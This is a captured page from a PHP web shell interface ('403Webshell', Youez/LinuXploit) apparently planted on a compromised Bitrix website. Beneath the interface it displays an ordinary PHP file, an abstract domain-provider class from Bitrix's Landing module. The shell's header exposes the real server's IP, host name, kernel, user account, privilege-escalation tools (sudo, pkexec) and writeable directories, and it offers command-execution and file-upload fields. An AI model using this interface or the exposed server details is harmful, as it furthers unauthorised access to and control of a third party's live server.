403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/landing/lib/domain/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/landing/lib/domain/provider.php
<?php
namespace Bitrix\Landing\Domain;

abstract class Provider
{
	/**
	 * Provider constructor.
	 */
	public function __construct()
	{
	}

	/**
	 * Returns unique provider code.
	 * @return string
	 */
	abstract public function getCode(): string;

		/**
	 * Returns true, if provider is available.
	 * @return bool
	 */
	abstract public function enable(): bool;

	/**
	 * Returns true, if domain is available for registration.
	 * @param string $domainName Domain name
	 * @return bool
	 */
	abstract public function isEnableForRegistration(string $domainName): bool;

	/**
	 * Returns suggested domains by basic domain name.
	 * @param string $domainName Domain name.
	 * @param array $tld Domain tld.
	 * @return array
	 */
	abstract public function getSuggestedDomains(string $domainName, array $tld): array;

	/**
	 * Registration new domain. Returns true on success create.
	 * @param string $domainName Domain name.
	 * @param array $params Additional params.
	 * @return bool
	 */
	abstract public function registrationDomain(string $domainName, array $params = []): bool;

	/**
	 * Returns all current portal domains.
	 * @return array
	 */
	abstract public function getPortalDomains(): array;
}

Youez - 2016 - github.com/yon3zu
LinuXploit